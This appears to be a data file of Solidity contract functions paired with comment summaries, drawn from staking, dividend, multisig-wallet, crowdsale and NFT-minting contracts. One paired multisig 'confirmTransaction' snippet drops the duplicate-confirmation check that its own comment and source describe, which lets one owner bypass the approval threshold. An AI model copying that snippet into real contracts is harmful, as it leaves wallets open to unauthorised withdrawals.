function getCheckpointData(uint256 _checkpointId) external view returns (address[] memory investors, uint256[] memory balances, uint256[] memory withholdings) {
require(_checkpointId <= securityToken.currentCheckpointId(), "Invalid checkpoint");
investors = securityToken.getInvestorsAt(_checkpointId);
balances = new uint256[](investors.length);
withholdings = new uint256[](investors.length);
for (uint256 i; i < investors.length; i++) {
balances[i] = securityToken.balanceOfAt(investors[i], _checkpointId);
withholdings[i] = withholdingTax[investors[i]];
}
}
/**
* @notice Checks whether an address is excluded from claiming a dividend
* @param _dividendIndex Dividend to withdraw from
* @return bool whether the address is excluded
*/
function isExcluded(address _investor, uint256 _dividendIndex) external view returns (bool) {
require(_dividendIndex < dividends.length, "Invalid dividend");
return dividends[_dividendIndex].dividendExcluded[_investor];
}
/**
* @notice Checks whether an address has claimed a dividend
* @param _dividendIndex Dividend to withdraw from
* @return bool whether the address has claimed
*/
function isClaimed(address _investor, uint256 _dividendIndex) external view returns (bool) {
require(_dividendIndex < dividends.length, "Invalid dividend");
return dividends[_dividendIndex].claimed[_investor];
}
/**
* @notice Return the permissions flag that are associated with this module
* @return bytes32 array
*/
function getPermissions() public view returns(bytes32[] memory) {
bytes32[] memory allPermissions = new bytes32[](2);
allPermissions[0] = ADMIN;
allPermissions[1] = OPERATOR;
return allPermissions;
}
}
| Allows issuer to withdraw withheld tax _dividendIndex Dividend to withdraw from/ Allows issuer to change maturity / expiry dates for dividends NB - setting the maturity of a currently matured dividend to a future date will effectively refreeze claims on that dividend until the new maturity date passes @ dev NB - setting the expiry date to a past date will mean no more payments can be pulled or pushed out of a dividend _dividendIndex Dividend to withdraw from _maturity updated maturity date _expiry updated expiry date/ | function withdrawWithholding(uint256 _dividendIndex) external;
function updateDividendDates(uint256 _dividendIndex, uint256 _maturity, uint256 _expiry) external withPerm(ADMIN) {
require(_dividendIndex < dividends.length, "Invalid dividend");
require(_expiry > _maturity, "Expiry before maturity");
Dividend storage dividend = dividends[_dividendIndex];
require(dividend.expiry > now, "Dividend already expired");
dividend.expiry = _expiry;
dividend.maturity = _maturity;
emit UpdateDividendDates(_dividendIndex, _maturity, _expiry);
}
| 14,073,958 |
./partial_match/1/0x84e34fD82FC368F1a072075114AdC4b552a7a1F4/sources/StakeLogic.sol | what is the current balance of `asset` in the `appId` app's safe? | function getBalance(uint32 appId, address asset) external view returns (uint) { return apps[appId].balances[asset]; }
| 2,714,164 |
pragma solidity >0.5.4;
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "openzeppelin-solidity/contracts/lifecycle/Pausable.sol";
import "openzeppelin-solidity/contracts/token/ERC20/ERC20.sol";
import "@daostack/arc/contracts/controller/Avatar.sol";
import "../../contracts/dao/schemes/FeelessScheme.sol";
import "../../contracts/identity/Identity.sol";
import "../../contracts/DSMath.sol";
interface cERC20 {
function mint(uint256 mintAmount) external returns (uint256);
function redeemUnderlying(uint256 mintAmount) external returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function balanceOf(address addr) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
/**
* @title Staking contract that donates earned interest to the DAO
* allowing stakers to deposit DAI or withdraw their stake in DAI.
* The contract buys cDAI and can transfer the daily interest to the DAO
*/
contract SimpleDAIStaking is DSMath, Pausable, FeelessScheme {
using SafeMath for uint256;
// Entity that holds a staker info
struct Staker {
// The staked DAI amount
uint256 stakedDAI;
// The latest block number which the
// staker has staked tokens
uint256 lastStake;
}
// The map which holds the stakers entities
mapping(address => Staker) public stakers;
// Emits when new DAI tokens have been staked
event DAIStaked(
// The staker address
address indexed staker,
// How many tokens have been staked
uint256 daiValue
);
// Emits when DAI tokens are being withdrawn
event DAIStakeWithdraw(
// The staker that initiate the action
address indexed staker,
// The initial DAI value that was staked
uint256 daiValue,
// The current DAI value that was staked
uint256 daiActual
);
// Emits when the interest is collected
event InterestCollected(
// Who is receives the interest
address recipient,
// How many cDAI tokens have been transferred
uint256 cdaiValue,
// The worth of the transferred tokens in DAI
uint256 daiValue,
// Lost amount. A result of different precisions
uint256 daiPrecisionLoss
);
// DAI token address
ERC20 public dai;
// cDAI token address
cERC20 public cDai;
// The block interval defines the number of
// blocks that shall be passed before the
// next execution of `collectUBIInterest`
uint256 public blockInterval;
// The last block number which
// `collectUBIInterest` has been executed in
uint256 public lastUBICollection;
// The total staked DAI amount in the contract
uint256 public totalStaked = 0;
// How much of the generated interest is donated,
// meaning no GD is expected in compensation, 1 in mil precision.
// 100% for phase0 POC
uint32 public avgInterestDonatedRatio = 1e6;
// The address of the fund manager contract
address public fundManager;
modifier onlyFundManager {
require(msg.sender == fundManager, "Only FundManager can call this method");
_;
}
/**
* @dev Constructor
* @param _dai The address of DAI
* @param _cDai The address of cDAI
* @param _fundManager The address of the fund manager contract
* @param _blockInterval How many blocks should be passed before the next execution of `collectUBIInterest`
* @param _avatar The avatar of the DAO
* @param _identity The identity contract
*/
constructor(
address _dai,
address _cDai,
address _fundManager,
uint256 _blockInterval,
Avatar _avatar,
Identity _identity
) public FeelessScheme(_identity, _avatar) {
dai = ERC20(_dai);
cDai = cERC20(_cDai);
blockInterval = _blockInterval;
lastUBICollection = block.number.div(blockInterval);
fundManager = _fundManager;
// Adds the avatar as a pauser of this contract
addPauser(address(avatar));
}
/**
* @dev Allows the DAO to change the fund manager contract address
* @param _fundManager Address of the new contract
*/
function setFundManager(address _fundManager) public onlyAvatar {
fundManager = _fundManager;
}
/**
* @dev Allows a staker to deposit DAI tokens. Notice that `approve` is
* needed to be executed before the execution of this method.
* Can be executed only when the contract is not paused.
* @param _amount The amount of DAI to stake
*/
function stakeDAI(uint256 _amount) public whenNotPaused {
require(_amount > 0, "You need to stake a positive token amount");
require(
dai.transferFrom(msg.sender, address(this), _amount) == true,
"transferFrom failed, make sure you approved DAI transfer"
);
// approve the transfer to cDAI
dai.approve(address(cDai), _amount);
// mint ctokens
uint256 res = cDai.mint(_amount);
// cDAI returns >0 if error happened while minting.
// Makes sure that there are no errors. If an error
// has occurred, DAI funds shall be returned.
if (res > 0) {
require(res == 0, "Minting cDai failed, funds returned");
}
// updated the staker entity
Staker storage staker = stakers[msg.sender];
staker.stakedDAI = staker.stakedDAI.add(_amount);
staker.lastStake = block.number;
// adds the staked amount to the total staked
totalStaked = totalStaked.add(_amount);
emit DAIStaked(msg.sender, _amount);
}
/**
* @dev Withdraws the sender staked DAI.
*/
function withdrawStake() public {
Staker storage staker = stakers[msg.sender];
require(staker.stakedDAI > 0, "No DAI staked");
require(cDai.redeemUnderlying(staker.stakedDAI) == 0, "Failed to redeem cDai");
uint256 daiWithdraw = staker.stakedDAI;
// updates balance before transfer to prevent re-entry
staker.stakedDAI = 0;
totalStaked = totalStaked.sub(daiWithdraw);
//redeeming in compound may result in a tiny fraction of precission error
//so if we redeem 100 DAI we might get something like 99.9999999999
uint256 daiActual = dai.balanceOf(address(this));
if (daiActual < daiWithdraw) {
daiWithdraw = daiActual;
}
require(dai.transfer(msg.sender, daiWithdraw), "withdraw transfer failed");
emit DAIStakeWithdraw(msg.sender, daiWithdraw, daiActual);
}
/**
* @dev Calculates the worth of the staked cDAI tokens in DAI.
* @return (uint256) The worth in DAI
*/
function currentDAIWorth() public view returns (uint256) {
uint256 er = cDai.exchangeRateStored();
//TODO: why 1e10? cDai is e8 so we should convert it to e28 like exchange rate
uint256 daiBalance = rmul(cDai.balanceOf(address(this)).mul(1e10), er).div(10);
return daiBalance;
}
/**
* @dev Calculates the current interest that was gained.
* @return (uint256, uint256, uint256) The interest in cDAI, the interest in DAI,
* the amount which is not covered by precision of DAI
*/
function currentUBIInterest()
public
view
returns (
uint256,
uint256,
uint256
)
{
uint256 er = cDai.exchangeRateStored();
uint256 daiWorth = currentDAIWorth();
if (daiWorth <= totalStaked) {
return (0, 0, 0);
}
uint256 daiGains = daiWorth.sub(totalStaked);
// mul by 1e10 to equalize precision otherwise since exchangerate
// is very big, dividing by it would result in 0.
uint256 cdaiGains = rdiv(daiGains.mul(1e10), er);
// gets right most bits not covered by precision of cdai which is
// only 8 decimals while RAY is 27
uint256 precisionLossCDaiRay = cdaiGains.mod(1e19);
// lower back to 8 decimals
cdaiGains = cdaiGains.div(1e19);
//div by 1e10 to get results in dai precision 1e18
uint256 precisionLossDai = rmul(precisionLossCDaiRay, er).div(1e10);
return (cdaiGains, daiGains, precisionLossDai);
}
/**
* @dev Collects gained interest by fundmanager. Can be collected only once
* in an interval which is defined above.
* @param _recipient The recipient of cDAI gains
* @return (uint256, uint256, uint256, uint32) The interest in cDAI, the interest in DAI,
* the amount which is not covered by precision of DAI, how much of the generated interest is donated
*/
function collectUBIInterest(address _recipient)
public
onlyFundManager
returns (
uint256,
uint256,
uint256,
uint32
)
{
// otherwise fund manager has to wait for the next interval
require(_recipient != address(this), "Recipient cannot be the staking contract");
require(canCollect(), "Need to wait for the next interval");
(
uint256 cdaiGains,
uint256 daiGains,
uint256 precisionLossDai
) = currentUBIInterest();
lastUBICollection = block.number.div(blockInterval);
if (cdaiGains > 0)
require(cDai.transfer(_recipient, cdaiGains), "collect transfer failed");
emit InterestCollected(_recipient, cdaiGains, daiGains, precisionLossDai);
return (cdaiGains, daiGains, precisionLossDai, avgInterestDonatedRatio);
}
/**
* @dev Checks if enough blocks have passed so it would be possible to
* execute `collectUBIInterest` according to the length of `blockInterval`
* @return (bool) True if enough blocks have passed
*/
function canCollect() public view returns (bool) {
return block.number.div(blockInterval) > lastUBICollection;
}
/**
* @dev Start function. Adds this contract to identity as a feeless scheme.
* Can only be called if scheme is registered
*/
function start() public onlyRegistered {
addRights();
}
/**
* @dev making the contract inactive
* NOTICE: this could theoretically result in future interest earned in cdai to remain locked
* but we dont expect any other stakers but us in SimpleDAIStaking
*/
function end() public onlyAvatar {
pause();
removeRights();
}
/**
* @dev method to recover any stuck erc20 tokens (ie compound COMP)
* @param _token the ERC20 token to recover
*/
function recover(ERC20 _token) public onlyAvatar {
uint256 toWithdraw = _token.balanceOf(address(this));
// recover left cDai(stakers token) only when all stakes have been withdrawn
if (address(_token) == address(cDai)) {
require(
totalStaked == 0 && paused(),
"can recover cDai only when stakes have been withdrawn"
);
}
require(_token.transfer(address(avatar), toWithdraw), "recover transfer failed");
}
}
| method to recover any stuck erc20 tokens (ie compound COMP) _token the ERC20 token to recover/ recover left cDai(stakers token) only when all stakes have been withdrawn | function recover(ERC20 _token) public onlyAvatar {
uint256 toWithdraw = _token.balanceOf(address(this));
if (address(_token) == address(cDai)) {
require(
totalStaked == 0 && paused(),
"can recover cDai only when stakes have been withdrawn"
);
}
require(_token.transfer(address(avatar), toWithdraw), "recover transfer failed");
}
| 1,078,875 |
pragma solidity 0.4.24;
interface tokenInterface {
function transfer(address reciever, uint amount) external;
function balanceOf(address owner) external returns (uint256);
}
contract dapMultisig {
/*
* Types
*/
struct Transaction {
uint id;
address destination;
uint value;
bytes data;
TxnStatus status;
address[] confirmed;
address creator;
}
struct tokenTransaction {
uint id;
tokenInterface token;
address reciever;
uint value;
address[] confirmed;
TxnStatus status;
address creator;
}
struct Log {
uint amount;
address sender;
}
enum TxnStatus { Unconfirmed, Pending, Executed }
/*
* Modifiers
*/
modifier onlyOwner () {
bool found;
for (uint i = 0;i<owners.length;i++){
if (owners[i] == msg.sender){
found = true;
}
}
if (found){
_;
}
}
/*
* Events
*/
event WalletCreated(address creator, address[] owners);
event TxnSumbitted(uint id);
event TxnConfirmed(uint id);
event topUpBalance(uint value);
event tokenTxnConfirmed(uint id, address owner);
event tokenTxnExecuted(address token, uint256 value, address reciever);
/*
* Storage
*/
bytes32 public name;
address public creator;
uint public allowance;
address[] public owners;
Log[] logs;
Transaction[] transactions;
tokenTransaction[] tokenTransactions;
uint public approvalsreq;
/*
* Constructor
*/
constructor (uint _approvals, address[] _owners, bytes32 _name) public payable{
/* check if name was actually given */
require(_name.length != 0);
/*check if approvals num equals or greater than given owners num*/
require(_approvals <= _owners.length);
name = _name;
creator = msg.sender;
allowance = msg.value;
owners = _owners;
approvalsreq = _approvals;
emit WalletCreated(msg.sender, _owners);
}
//fallback to accept funds without method signature
function () external payable {
allowance += msg.value;
}
/*
* Getters
*/
function getOwners() external view returns (address[]){
return owners;
}
function getTxnNum() external view returns (uint){
return transactions.length;
}
function getTxn(uint _id) external view returns (uint, address, uint, bytes, TxnStatus, address[], address){
Transaction storage txn = transactions[_id];
return (txn.id, txn.destination, txn.value, txn.data, txn.status, txn.confirmed, txn.creator);
}
function getLogsNum() external view returns (uint){
return logs.length;
}
function getLog(uint logId) external view returns (address, uint){
return(logs[logId].sender, logs[logId].amount);
}
function getTokenTxnNum() external view returns (uint){
return tokenTransactions.length;
}
function getTokenTxn(uint _id) external view returns(uint, address, address, uint256, address[], TxnStatus, address){
tokenTransaction storage txn = tokenTransactions[_id];
return (txn.id, txn.token, txn.reciever, txn.value, txn.confirmed, txn.status, txn.creator);
}
/*
* Methods
*/
function topBalance() external payable {
require (msg.value > 0 wei);
allowance += msg.value;
/* create new log entry */
uint loglen = logs.length++;
logs[loglen].amount = msg.value;
logs[loglen].sender = msg.sender;
emit topUpBalance(msg.value);
}
function submitTransaction(address _destination, uint _value, bytes _data) onlyOwner () external returns (bool) {
uint newTxId = transactions.length++;
transactions[newTxId].id = newTxId;
transactions[newTxId].destination = _destination;
transactions[newTxId].value = _value;
transactions[newTxId].data = _data;
transactions[newTxId].creator = msg.sender;
transactions[newTxId].confirmed.push(msg.sender);
if (transactions[newTxId].confirmed.length == approvalsreq){
transactions[newTxId].status = TxnStatus.Pending;
}
emit TxnSumbitted(newTxId);
return true;
}
function confirmTransaction(uint txId) onlyOwner() external returns (bool){
Transaction storage txn = transactions[txId];
//check whether this owner has already confirmed this txn
bool f;
for (uint8 i = 0; i<txn.confirmed.length;i++){
if (txn.confirmed[i] == msg.sender){
f = true;
}
}
//push sender address into confirmed array if haven't found
require(!f);
txn.confirmed.push(msg.sender);
if (txn.confirmed.length == approvalsreq){
txn.status = TxnStatus.Pending;
}
//fire event
emit TxnConfirmed(txId);
return true;
}
function executeTxn(uint txId) onlyOwner() external returns (bool){
Transaction storage txn = transactions[txId];
/* check txn status */
require(txn.status == TxnStatus.Pending);
/* check whether wallet has sufficient balance to send this transaction */
require(allowance >= txn.value);
/* send transaction */
address dest = txn.destination;
uint val = txn.value;
bytes memory dat = txn.data;
assert(dest.call.value(val)(dat));
/* change transaction's status to executed */
txn.status = TxnStatus.Executed;
/* change wallet's balance */
allowance = allowance - txn.value;
return true;
}
function submitTokenTransaction(address _tokenAddress, address _receiever, uint _value) onlyOwner() external returns (bool) {
uint newTxId = tokenTransactions.length++;
tokenTransactions[newTxId].id = newTxId;
tokenTransactions[newTxId].token = tokenInterface(_tokenAddress);
tokenTransactions[newTxId].reciever = _receiever;
tokenTransactions[newTxId].value = _value;
tokenTransactions[newTxId].confirmed.push(msg.sender);
if (tokenTransactions[newTxId].confirmed.length == approvalsreq){
tokenTransactions[newTxId].status = TxnStatus.Pending;
}
emit TxnSumbitted(newTxId);
return true;
}
function confirmTokenTransaction(uint txId) onlyOwner() external returns (bool){
tokenTransaction storage txn = tokenTransactions[txId];
//check whether this owner has already confirmed this txn
bool f;
for (uint8 i = 0; i<txn.confirmed.length;i++){
if (txn.confirmed[i] == msg.sender){
f = true;
}
}
//push sender address into confirmed array if haven't found
require(!f);
txn.confirmed.push(msg.sender);
if (txn.confirmed.length == approvalsreq){
txn.status = TxnStatus.Pending;
}
//fire event
emit tokenTxnConfirmed(txId, msg.sender);
return true;
}
function executeTokenTxn(uint txId) onlyOwner() external returns (bool){
tokenTransaction storage txn = tokenTransactions[txId];
/* check txn status */
require(txn.status == TxnStatus.Pending);
/* check whether wallet has sufficient balance to send this transaction */
uint256 balance = txn.token.balanceOf(address(this));
require (txn.value <= balance);
/* Send tokens */
txn.token.transfer(txn.reciever, txn.value);
/* change transaction's status to executed */
txn.status = TxnStatus.Executed;
/* Fire event */
emit tokenTxnExecuted(address(txn.token), txn.value, txn.reciever);
return true;
}
} | check whether this owner has already confirmed this txn | function confirmTransaction(uint txId) onlyOwner() external returns (bool){
Transaction storage txn = transactions[txId];
bool f;
for (uint8 i = 0; i<txn.confirmed.length;i++){
if (txn.confirmed[i] == msg.sender){
f = true;
}
}
txn.confirmed.push(msg.sender);
if (txn.confirmed.length == approvalsreq){
txn.status = TxnStatus.Pending;
}
return true;
}
| 1,053,945 |
./partial_match/1/0x46C9CFB32627B74F91e0B5ad575c247AEc7e7847/sources/contracts/ImmutableBundle.sol | See {IERC165-supportsInterface}./ | function supportsInterface(bytes4 _interfaceId) public view virtual override(ERC721Enumerable) returns (bool) {
return _interfaceId == type(IERC721Receiver).interfaceId || super.supportsInterface(_interfaceId);
}
| 9,403,882 |
./partial_match/1/0x3a816D9c6aB95f27F9ceafC62763C4ED6cF2818C/sources/StarCoinCrowdsale.sol | calculate token amount to be created update state | function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
| 9,154,350 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./interfaces/IERC721.sol";
import "./interfaces/IERC721Enumerable.sol";
import "./interfaces/IERC721Metadata.sol";
import "./interfaces/IERC721Receiver.sol";
import "./interfaces/IERC165.sol";
import "./IGBATrapsPartial.sol";
import "./Ownable.sol";
import "./GBAWhitelist.sol";
/// @author Andrew Parker
/// @title Ghost Busters: Afterlife Mini Stay Puft NFT contract
contract MiniStayPuft is IERC721, IERC721Metadata, IERC165, Ownable{
enum Phase{Init,PreReserve,Reserve,Final} // Launch phase
struct Reservation{
uint24 block; // Using uint24 to store block number is fine for the next 2.2 years
uint16[] tokens; // TokenIDs reserved by person
}
bool paused = true; // Sale pause state
bool unpausable; // Unpausable
uint startTime; // Timestamp of when preReserve phase started (adjusts when paused/unpaused)
uint pauseTime; // Timestamp of pause
uint16 tokenCount; // Total tokens minted and reserved. (not including caught mobs)
uint16 tokensGiven; // Total number of giveaway token's minted
uint16 constant TOKENS_GIVEAWAY = 200; // Max number of giveaway tokens
uint constant PRICE_MINT = 0.08 ether; // Mint cost
string __uriBase; // Metadata URI base
string __uriSuffix; // Metadata URI suffix
uint constant COOLDOWN = 10; // Min interval in blocks to reserve
uint16 constant TRANSACTION_LIMIT = 10; // Max tokens reservable in one transaction
mapping(address => Reservation) reservations; // Mapping of buyer to reservations
mapping(address => uint8) whitelistReserveCount; // Mapping of how many times listees have preReserved
uint8 constant WHITELIST_RESERVE_LIMIT = 2; // Limit of how many tokens a listee can preReserve
uint constant PRESALE_LIMIT = 2000; // Max number of tokens that can be preReserved
uint presaleCount; // Number of tokens that have been preReserved
event Pause(bool _pause,uint _startTime,uint _pauseTime);
event Reserve(address indexed reservist, uint indexed tokenId);
event Claim(address indexed reservist, uint indexed tokenId);
//MOB VARS
address trapContract; // Address of Traps contract
address whitelist; // Address of Whitelist contract
uint16 constant SALE_MAX = 10000; // Max number of tokens that can be sold
uint16[4] mobTokenIds; // Partial IDs of current mobs. 4th slot is highest id (used to detect mob end)
uint16 constant TOTAL_MOB_COUNT = 500; // Total number of mobs that will exist
uint constant MOB_OFFSET = 100000; // TokenId offset for mobs
bool mobReleased = false; // Has mob been released
bytes32 mobHash; // Current mob data
mapping(address => uint256) internal balances; // Mapping of balances (not including active mobs)
mapping (uint256 => address) internal allowance; // Mapping of allowances
mapping (address => mapping (address => bool)) internal authorised; // Mapping of token allowances
mapping(uint256 => address) owners; // Mapping of owners (not including active mobs)
uint[] tokens; // Array of tokenIds (not including active mobs)
mapping (bytes4 => bool) internal supportedInterfaces;
constructor(string memory _uriBase, string memory _uriSuffix, address _trapContract, address _whitelist){
supportedInterfaces[0x80ac58cd] = true; //ERC721
supportedInterfaces[0x5b5e139f] = true; //ERC721Metadata
supportedInterfaces[0x01ffc9a7] = true; //ERC165
mobTokenIds[0] = 1;
mobTokenIds[1] = 2;
mobTokenIds[2] = 3;
mobTokenIds[3] = 3;
trapContract = _trapContract;
whitelist = _whitelist;
__uriBase = _uriBase;
__uriSuffix = _uriSuffix;
//Init mobHash segments
mobHash =
shiftBytes(bytes32(uint(0)),0) ^ // Random data that changes every tx to even out gas costs
shiftBytes(bytes32(uint(1)),1) ^ // Number of owners to base ownership calcs on for mob 0
shiftBytes(bytes32(uint(1)),2) ^ // Number of owners to base ownership calcs on for mob 1
shiftBytes(bytes32(uint(1)),3) ^ // Number of owners to base ownership calcs on for mob 2
shiftBytes(bytes32(uint(0)),4); // Location data for calculating ownership of all mobs
}
/// Mint-Reserve State
/// @notice Get struct properties of reservation mapping for given address, as well as preReserve count.
/// @dev Combined these to lower compiled contract size (Spurious Dragon).
/// @param _tokenOwner Address of reservation data to check
/// @return _whitelistReserveCount Number of times address has pre-reserved
/// @return blockNumber Block number of last reservation
/// @return tokenIds Array of reserved, unclaimed tokens
function mintReserveState(address _tokenOwner) public view returns(uint8 _whitelistReserveCount, uint24 blockNumber, uint16[] memory tokenIds){
return (whitelistReserveCount[_tokenOwner],reservations[_tokenOwner].block,reservations[_tokenOwner].tokens);
}
/// Contract State
/// @notice View function for various contract state properties
/// @dev Combined these to lower compiled contract size (Spurious Dragon).
/// @return _tokenCount Number of tokens reserved or minted (not including mobs)
/// @return _phase Current launch phase
/// @return mobMax Uint used to calculate IDs and number if mobs in circulation.
function contractState() public view returns(uint _tokenCount, Phase _phase, uint mobMax){
return (tokenCount,phase(),mobTokenIds[3]);
}
/// Pre-Reserve
/// @notice Pre-reserve tokens during Pre-Reserve phase if whitelisted. Max 2 per address. Must pay mint fee
/// @param merkleProof Merkle proof for your address in the whitelist
/// @param _count Number of tokens to reserve
function preReserve(bytes32[] memory merkleProof, uint8 _count) external payable{
require(!paused,"paused");
require(phase() == Phase.PreReserve,"phase");
require(msg.value >= PRICE_MINT * _count,"PRICE_MINT");
require(whitelistReserveCount[msg.sender] + _count <= WHITELIST_RESERVE_LIMIT,"whitelistReserveCount");
require(presaleCount + _count < PRESALE_LIMIT,"PRESALE_LIMIT");
require(GBAWhitelist(whitelist).isWhitelisted(merkleProof,msg.sender),"whitelist");
whitelistReserveCount[msg.sender] += _count;
presaleCount += _count;
_reserve(_count,msg.sender,true);
}
/// Mint Giveaway
/// @notice Mint tokens for giveaway
/// @param numTokens Number of tokens to mint
function mintGiveaway(uint16 numTokens) public onlyOwner {
require(tokensGiven + numTokens <= TOKENS_GIVEAWAY,"tokensGiven");
require(tokenCount + numTokens <= SALE_MAX,"SALE_MAX");
for(uint i = 0; i < numTokens; i++){
tokensGiven++;
_mint(msg.sender,++tokenCount);
}
}
/// Withdraw All
/// @notice Withdraw all Eth from mint fees
function withdrawAll() public onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
/// Reserve
/// @notice Reserve tokens. Max 10 per tx, one tx per 10 blocks. Can't be called by contracts. Must be in Reserve phase. Must pay mint fee.
/// @param _count Number of tokens to reserve
/// @dev requires tx.origin == msg.sender
function reserve(uint16 _count) public payable{
require(msg.sender == tx.origin,"origin");
require(!paused,"paused");
require(phase() == Phase.Reserve,"phase");
require(_count <= TRANSACTION_LIMIT,"TRANSACTION_LIMIT");
require(msg.value >= uint(_count) * PRICE_MINT,"PRICE MINT");
_reserve(_count,msg.sender,false);
}
/// Internal Reserve
/// @notice Does the work in both Reserve and PreReserve
/// @param _count Number of tokens being reserved
/// @param _to Address that is reserving
/// @param ignoreCooldown Don't revert for cooldown.Used in pre-reserve
function _reserve(uint16 _count, address _to, bool ignoreCooldown) internal{
require(tokenCount + _count <= SALE_MAX, "SALE_MAX");
require(ignoreCooldown ||
reservations[_to].block == 0 || block.number >= uint(reservations[_to].block) + COOLDOWN
,"COOLDOWN");
for(uint16 i = 0; i < _count; i++){
reservations[address(_to)].tokens.push(++tokenCount);
emit Reserve(_to,tokenCount);
}
reservations[_to].block = uint24(block.number);
}
/// Claim
/// @notice Mint reserved tokens
/// @param reservist Address with reserved tokens.
/// @param _count Number of reserved tokens mint.
/// @dev Allows anyone to call claim for anyone else. Will mint to the address that made the reservations.
function claim(address reservist, uint _count) public{
require(!paused,"paused");
require(
phase() == Phase.Final
,"phase");
require( reservations[reservist].tokens.length >= _count, "_count");
for(uint i = 0; i < _count; i++){
uint tokenId = uint(reservations[reservist].tokens[reservations[reservist].tokens.length - 1]);
reservations[reservist].tokens.pop();
_mint(reservist,tokenId);
emit Claim(reservist,tokenId);
}
updateMobStart();
updateMobFinish();
}
/// Mint
/// @notice Mint unreserved tokens. Must pay mint fee.
/// @param _count Number of reserved tokens mint.
function mint(uint _count) public payable{
require(!paused,"paused");
require(
phase() == Phase.Final
,"phase");
require(msg.value >= _count * PRICE_MINT,"PRICE");
require(tokenCount + uint16(_count) <= SALE_MAX,"SALE_MAX");
for(uint i = 0; i < _count; i++){
_mint(msg.sender,uint(++tokenCount));
}
updateMobStart();
updateMobFinish();
}
/// Update URI
/// @notice Update URI base and suffix
/// @param _uriBase URI base
/// @param _uriSuffix URI suffix
/// @dev Pushing size limits (Spurious Dragon), so rather than having an explicit lock function, it can be implicit by renouncing ownership.
function updateURI(string memory _uriBase, string memory _uriSuffix) public onlyOwner{
__uriBase = _uriBase;
__uriSuffix = _uriSuffix;
}
/// Phase
/// @notice Internal function to calculate current Phase
/// @return Phase (enum value)
function phase() internal view returns(Phase){
uint _startTime = startTime;
if(_startTime == 0){
return Phase.Init;
}else if(block.timestamp <= _startTime + 2 hours){
return Phase.PreReserve;
}else if(block.timestamp <= _startTime + 2 hours + 1 days && tokenCount < SALE_MAX){
return Phase.Reserve;
}else{
return Phase.Final;
}
}
/// Pause State
/// @notice Get current pause state
/// @return _paused Contract is paused
/// @return _startTime Start timestamp of Cat phase (adjusted for pauses)
/// @return _pauseTime Timestamp of pause
function pauseState() view public returns(bool _paused,uint _startTime,uint _pauseTime){
return (paused,startTime,pauseTime);
}
/// Disable pause
/// @notice Disable mint pausability
function disablePause() public onlyOwner{
if(paused) togglePause();
unpausable = true;
}
/// Toggle pause
/// @notice Toggle pause on/off
function togglePause() public onlyOwner{
if(startTime == 0){
startTime = block.timestamp;
paused = false;
emit Pause(false,startTime,pauseTime);
return;
}
require(!unpausable,"unpausable");
bool _pause = !paused;
if(_pause){
pauseTime = block.timestamp;
}else if(pauseTime != 0){
startTime += block.timestamp - pauseTime;
delete pauseTime;
}
paused = _pause;
emit Pause(_pause,startTime,pauseTime);
}
/// Get Mob Owner
/// @notice Internal func to calculate the owner of a given mob for a given mob hash
/// @param _mobIndex Index of mob to check (0-2)
/// @param _mobHash Mob hash to base calcs off
/// @return Address of the calculated owner
function getMobOwner(uint _mobIndex, bytes32 _mobHash) internal view returns(address){
bytes32 mobModulo = extractBytes(_mobHash, _mobIndex + 1);
bytes32 locationHash = extractBytes(_mobHash,4);
uint hash = uint(keccak256(abi.encodePacked(locationHash,_mobIndex,mobModulo)));
uint index = hash % uint(mobModulo);
address _owner = owners[tokens[index]];
if(mobReleased){
return _owner;
}else{
return address(0);
}
}
/// Get Mob Token ID (internal)
/// @notice Internal func to calculate mob token ID given an index
/// @dev Doesn't check invalid vals, inferred by places where its used and saves gas
/// @param _mobIndex Index of mob to calculate
/// @return tokenId of mob
function _getMobTokenId(uint _mobIndex) internal view returns(uint){
return MOB_OFFSET+uint(mobTokenIds[_mobIndex]);
}
/// Get Mob Token ID
/// @notice Calculate mob token ID given an index
/// @dev Doesn't fail for _mobIndex = 3, because of Spurious Dragon and because it doesnt matter
/// @param _mobIndex Index of mob to calculate
/// @return tokenId of mob
function getMobTokenId(uint _mobIndex) public view returns(uint){
uint tokenId = _getMobTokenId(_mobIndex);
require(tokenId != MOB_OFFSET,"no token");
return tokenId;
}
/// Extract Bytes
/// @notice Get the nth 4-byte chunk from a bytes32
/// @param data Data to extract bytes from
/// @param index Index of chunk
function extractBytes(bytes32 data, uint index) internal pure returns(bytes32){
uint inset = 32 * ( 7 - index );
uint outset = 32 * index;
return ((data << outset) >> outset) >> inset;
}
/// Extract Bytes
/// @notice Bit shift a bytes32 for XOR packing
/// @param data Data to bit shift
/// @param index How many 4-byte segments to shift it by
function shiftBytes(bytes32 data, uint index) internal pure returns(bytes32){
uint inset = 32 * ( 7 - index );
return data << inset;
}
/// Release Mob
/// @notice Start Mob
function releaseMob() public onlyOwner{
require(!mobReleased,"released");
require(tokens.length > 0, "no mint");
mobReleased = true;
bytes32 _mobHash = mobHash; //READ
uint eliminationBlock = block.number - (block.number % 245) - 10; //READ
bytes32 updateHash = extractBytes(keccak256(abi.encodePacked(_mobHash)),0);
bytes32 mobModulo = bytes32(tokens.length);
bytes32 destinationHash = extractBytes( blockhash(eliminationBlock),4) ;
bytes32 newMobHash = shiftBytes(updateHash,0) ^ //WRITE
shiftBytes(mobModulo,1) ^
shiftBytes(mobModulo,2) ^
shiftBytes(mobModulo,3) ^
shiftBytes(destinationHash,4);
for(uint i = 0; i < 3; i++){
uint _tokenId = _getMobTokenId(i); //READ x 3
emit Transfer(address(0),getMobOwner(i,newMobHash),_tokenId); //EMIT x 3 max
}
mobHash = newMobHash;
}
/// Update Mobs Start
/// @notice Internal - Emits all the events sending mobs to 0. First part of mobs moving
function updateMobStart() internal{
if(!mobReleased || mobTokenIds[3] == 0) return;
//BURN THEM
bytes32 _mobHash = mobHash; //READ
for(uint i = 0; i < 3; i++){
uint _tokenId = _getMobTokenId(i); //READ x 3
if(_tokenId != MOB_OFFSET){
